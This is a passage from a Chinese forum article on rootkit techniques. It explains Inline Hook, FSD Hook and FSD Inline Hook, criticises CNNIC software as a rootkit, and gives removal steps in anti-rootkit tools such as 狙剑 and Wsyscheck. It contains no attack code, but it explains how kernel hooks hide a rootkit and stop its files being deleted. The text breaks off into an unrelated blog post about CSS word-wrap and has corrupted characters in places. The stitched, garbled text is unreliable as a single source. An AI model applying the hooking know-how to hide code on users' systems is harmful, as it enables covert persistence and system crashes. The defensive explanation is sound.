其实,Inline Hook早就作为一种高级的Hook技术存在了,在用户层上的一些特殊程序如游戏外挂等,为了获得最完整可靠的数据,它们都不再采用错误指路牌的方法来将数据转移了,因为这样很可能会因为触发程序编写者针对此问题而设置的处理程序,最终功亏一篑。那么,怎么样才能让这个处理程序不能达到触发条件呢?那就是千万别去钩这个程序,但是如果不钩住程序,又该如何取得相关数据呢?在这样的思考模式下,一种新的钩子技术诞生了:它虽然也在玩钩子,但是它却不是来钩目标程序的,而是将系统里相应的API函数给虏了去,由于任何普通程序作者对系统API都是绝对信任的,于是,当他们的程序请求调用相关API并将参数一同发送过去时,由于提供这个API的相应模块被钩住了,它的“先知”——布施钩子者就抢先一步得到了数据内容,接下来就得看作者的编程功底来决定程序的生死了,因为作者并不能自己写出相应的系统函数,他就必须得设法将数据送回原函数执行模块里去,这一步稍有差错,就会导致调用这个API的程序崩溃退出。
正因如此,Inline Hook是一种相对一般Hook而言更复杂的技术,除非作者有较深的编程功底和对系统的了解,否则冒冒失失就大量使用这个技术是很容易出问题的,不仅受害者不好过,攻击者也无法取得他所需数据,得不偿失。
既然在用户层(Ring 3)上使用Inline Hook都要如此注意,那么在Rootkit的世界里有没有人吃螃蟹呢?答案是一定的,当钩住SSDT和Shadow SSDT的途径都被堵死以后,Rootkit技术终于向Inline Hook迈出了一步。
设想一下,当所有检测工具都在虎视眈眈SSDT这个关口时,某个Rootkit早已用自己的函数把系统内核里的敏感函数给替换了,当用户层的函数操作请求通过正常的SSDT找到相应内核态函数的执行主体时,却不知道这个执行主体早已被Rootkit冒名顶替了,那么情形会是怎么样的呢?虽然所有检测工具都报告情况正常,但是机器内其实早已被Rootkit安家,如果这个Rootkit预置了在某个时刻进行破坏行为的逻辑,那么用户直到系统出问题的那一刻,都还不知道究竟发生了什么事情!
位于Ring 0的Inline Hook是十分隐蔽的,除非研究者对系统了解较深,否则他想破了头也不能找出原因所在,更别提连杀个辜n程的概念都很迷茫的普通用户了。但是使用 Inline Hook是必须付出代价的,由于内核的复杂性,尤其因为位于这一层的函数是所有程序都必须频繁调用的,很多时候如果设钩者没考虑周全,导致某个已经 Inline Hook的函数被意外的直接调用,就会导致严重后果。所以,使用Inline Hook的Rootkit能否正常稳定的工作,是与作者的水平连接得十分紧密的,一个不成熟的用户层Inline Hook程序大不了就是跟着它要监控的程序一起引发内存错误导致非法操作异常退出,仅此而已,但是到了系统核心层,这里可没有任何错误检测模块来保证你的程序在做出会导致内核崩溃的事情之前就赶紧将它终止——这已经是最底层了,一个错误的内存读写都会直接引发内核级别的崩溃,即我们俗称的“蓝屏死机” (BSoD,Blue Screen of Dealth)。于是,不成熟的Inline Hook Rootkit的代价就是系统变得及其不稳定,在用户看来,电脑表现出来的症状就是莫名其妙的非常容易蓝屏,这就是技术不成熟的Rootkit导致的后果,只不过,这个代价是由受害的用户来承担的。
不过,目前能流行开来的Inline Hook Rootkit,基本上都是已经在开发者的机器上经历了无数次蓝屏考验后才出场的,所以通常情况下,用户并不会因为这些Rootkit的存在而频频蓝屏,并且,它已经成为当前Rootkit的主流技术。
对付Inline Hook,无论是狙剑、RKU还是Wsyscheck都可以做到,以狙剑为例,点击程序主界面的“扩展功能”,然后点击“SSDT检查”,你会突然有眼花缭乱的感觉,所以请点击右键——“筛选可疑项”,让它仅仅把异常部分显示出来(注意那个SnipeSword.sys,它是狙剑自身的驱动,不要弄错了),如果系统存在异常,“HOOK类型”里会列出相关说明,如HOOK、Inline-Hook等,首先可以尝试右键选择“恢复所有HOOK”,然后刷新一次,如果仍然列出异常项目,就得在相应的项目列上点击右键选择“恢复选定的Inline-HOOK”了。
紧紧缠绕的寄生藤:FSD Hook
//文章出处:网络技术论坛(http://bbs.nettf.net) 作者:小金
随着RK与ARK的斗争进展,SSDT Hook(包括Shadow Hook)的道路被清理了,Inline Hook也被揪出来清理了,但是一些用户惊讶的发现,他们仍然无法删除这些已经暴露在眼皮底下的文件,这是为什么?
在解说这个问题之前,我们先来了解一些概念。为了让用户敲打键盘、点击鼠标、插入U盘等就能直接进入计算机的世界,操作系统在幕后是做了相当多的工作的,这些在底层运作的功能层层汇聚,最终建立出一个可用的操作平台,其中,负责管理磁盘数据和文件读写的部分被称为“文件系统”(File System,FS),其中,Windows系列操作系统是采用IOS(Input/Output Supervisor,输入输出管理程序)技术进行文件系统管理的。它接管所有的存储设备,如硬盘、可移动式磁盘、光驱等。
IOS是一种层次结构的管理方案,展现在用户层上的是各种应用程序的读写操作,其下一层紧接着的是被称为“可安装文件系统”(Installable File System,IFS)的接口层,这一层是以下各层的最终汇聚,通俗点说,也就是我们在屏幕上看到磁盘盘符、光驱盘符、U盘盘符、网络磁盘映射盘符等图标并对它们进行操作的由来。继IFS以后,就是各种文件系统驱动所在的层,即“FSD”(File System Driver,文件系统驱动),这一层直接与IOS连接,用于接受并处理属于自己任务分派内的数据;FSD下一层直达IOS,而到了IOS的下一层,数据就开始往硬件化发展了。
而这次Rootkit的目标,就是到达IOS之前的最后一层:FSD。
FSD在Windows系统中属于开放给编程人员可接触到的最深入的一块区域(再往下就是操作系统自身提供的驱动和硬件厂商的事情了),所以,这一层的权限是很高的,控制了这个层次,开发者就能掌握到最多最全面的文件读写操作控制,于是,当所有的道路都被Anti-Rootkit工具阻挠后, Rootkit作者开始反抗,方法是阻止他们的工具将揪出来的Rootkit直接歼灭。
FSD并非绝对禁地,在这之前,反病毒厂商和磁盘数据加密厂商早就在这一层里专研了,一部分人致力于编写自己的FSD,而更多的人,是通过编写FSD Filter Driver(文件系统驱动过滤器)来达到目的,以便从中析出它们敏感的数据来进行其他工作,而Filter驱动的一个要点就是钩住FSD,即“FSD Hook”。当FSD被你掌握后,你就可以通过操纵它的数据来控制别人的文件读写请求,对于Rootkit来说,它们可以将一些敏感文件如自身驱动程序文件、用户层相关文件等设置为除了它们自己以外的程序都无法对其进行读写的效果,到了用户层,直接反映出来的就是无法对其进行编辑、改名和删除。
用了这个技术,Rootkit作者们又可以偷笑了,因为即使用户用各种手段找到了它并将其进程终止,他也无法操作那些被保护起来的文件。
只是,钩子始终是钩子,总会有人去脱钩的,在克制FSD Hook技术的ARK工具出现后,一部分人面对着十分难以操作的FSD而放弃了,因为到了这一层已经非常容易导致系统不稳定了。
而一些人,仍然走了下去。
如何清理这个类型的Rootkit呢?以最容易操作的Wsyscheck为例,首先运行Wsyscheck(你会发现一个有趣现象:IceSword无法检测到Wsyscheck的Hook,因为它用的技术是Inline Hook和FSD Hook),点击进入“内核检查”,选中“FSD检查”,留意“代码异常”项里是否有标注为“Yes”的项,如果有,请在界面里右键点击,并选择“恢复所有函数”。Wsyscheck的进程列表并非使用IceSword一类的逻辑,所以如果你看到存在红色的列表也不要太过于紧张,它只是表示这个程序是没有系统签名验证、且类型特殊(如服务、加载驱动等)的应用程序而已,并非是IceSword这样的“坏人标识”。
产于极端的终极技术:FSD Inline Hook
Rootkit到了FSD Hook这一层,对系统造成的影响已经相当危险了,然而,由于出现了对抗的工具触动了某些人的利益,终于,一个著名的流氓软件吃了这只大家都会因为良心不安而不去触碰的螃蟹——FSD Inline Hook。
在及其重要敏感的FSD环境下放钩子本身就是一件要求很高的事情,而用自己的函数去替代这个雷区的系统函数,更是被很多人认为是严禁操作的事情,而现在,真的有人带头违反了,以后的局势又将如何呢?
所以,将CNNIC列为当前流氓软件作者的所有研究目标都不过分,因为CNNIC身上,就具备了多种高级技术,只可惜,全都没有用于正道。
Inline Hook的概念我们在前面已经说过了,现在主要说说这个Rootkit的行为以及后果。
也许是CNNIC的开发者对于自家产品频频被删除而恼怒了吧,这次最新发布的程序中,FSD Inline Hook终于出现了,它直接将操作系统厂商编写的相关功能使用自己的函数去取代了,而搞过FSD开发的人都知道,这一层的功能函数对硬件平台、系统版本是具有高度依赖性的,每个操作系统采用的函数都会有些许差异,但是操作系统厂商并不是制作通用的FSD方案,更何况,这个标准就是他们自己提出来的,所以这些变动对他们而言都是无伤大雅的,但是对于第三方厂商来说,他们缺少必要的开发文档(微软并未公布任何涉及FSD Inline Hook技术文档,也不鼓励开发者这样做)和齐全的硬件测试平台,所以,在䷜n齐全的操作系统环境和硬件配置下实现的技术,必然很容易就导致受害用户直接欣赏到赏心悦目的蓝屏。
CNNIC必然清楚这点,但是,他们什么也不顾了。而且,CNNIC的技术水平果然也没达到稳定的水平,在被CNNIC安家的系统里,用户只要运行 IceSword检测,就会直接导致蓝屏,这是因为它们都同时钩住了一个底层函数,但是下钩的位置存在些许偏差,例如,一个钩住了头部,一个钩住了屁股,于是内核受不了这很黄很暴力的行为,而直接崩溃了。
但是,毕竟已经有人起了头。以后的Rootkit世界将会变成什么样子,谁也不知道。
//文章出处:网络技术论坛(http://bbs.nettf.net) 作者:小金
要消灭CNNIC以及采用FSD Inline Hook技术的Rootkit,首选应该是360安全卫士,但是如果出现了360安全卫士也未加入识别的Rootkit,用户就得使用“狙剑”了,解决方法与前面提及的大同小异,只需要对其“脱钩”就可以了,关键在于,用户还得留意Rootkit的用户层程序是否也使用Hook,如线程注入等。
RK 多了,ARK也多了,这是好事还是坏事呢?答案自然是后者,无论是RK还是ARK,它们都必须进行同一个行为,就是进入系统内核层次并达到目的,于是不兼容现象往往会发生在几个ARK之间,例如,在运行了狙剑后,Wsyscheck经常会直接报错退出,而如果用户在开启了Wsyscheck的情况下运行 IceSword,他将会有很大几率看到那蓝底白字的屏幕。
三. 结语
虽然到处都在提倡和谐网络的普及,但是,“健康上网”仅仅是指代那些黄赌毒而已吗?在利益面前,开发者的正义感越发渺小起来,我们的网络世界,是被瘟神紧紧跟随着的。技术的斗争越发激烈,但是用户的电脑知识是不会跟着时代发展而自动填充的,最终,大众上网的人民成了这一切技术较量的受害者。
这个荒谬的发展方向,何时才能休止呢?
LBS修改-自动换行的解决方案
Author: robay15 九 2007
这几天发表日志的时候,有时候要引用些程序代码,可有些代码过长,结果搞得我的页面大乱,十分不美观,于是通过了下面两个办法解决了:
一、本来我的网页最佳的显示分辩率是800*600以上的,现在估计用这种分辩率人很少了吧?于是改成了1024*768的效果,宽度长了,换行的问题自然就解决了。 [lol]
二、代码控制,说明如下,只是个例子,可以根据需要自行调整:
1.(IE浏览器)连续的英文字符和阿拉伯数字,使用word-wrap : break-word ;或者word-break:break-all;实现强制断行
#mainwrap{word-break:break-all; width:200px;}
或者
#mainwrap{word-wrap:break-word; width:200px;}<div id=”wrap”>abcdefghijklmnabcdefghijklmnabcdefghijklmn111111111</div>
效果:可以实现换行
2.(Firefox浏览器)连续的英文字符和阿拉伯数字的断行,Firefox的所有版本的没有解决这个问题,我们只有让超出边界的字符隐藏或者,给容器添加滚动条
#wrap{word-break:break-all; width:200px; overflow:auto;}
<div id=”wrap”>abcdefghijklmnabcdefghijklmnabcdefghijklmn111111111</div>
效果:容器正常,内容隐藏
如果想知道更多,请仔细阅读 http://www.blueidea.com/tech/web/2006/3469.asp 的贴子。
因为我的是由于使用代码才会出现这种问题所以,我只对styles.css中的.code段进行了修改.添加了代码:
word-break:break-all;
overflow:auto;
width: 500px;
问题搞定.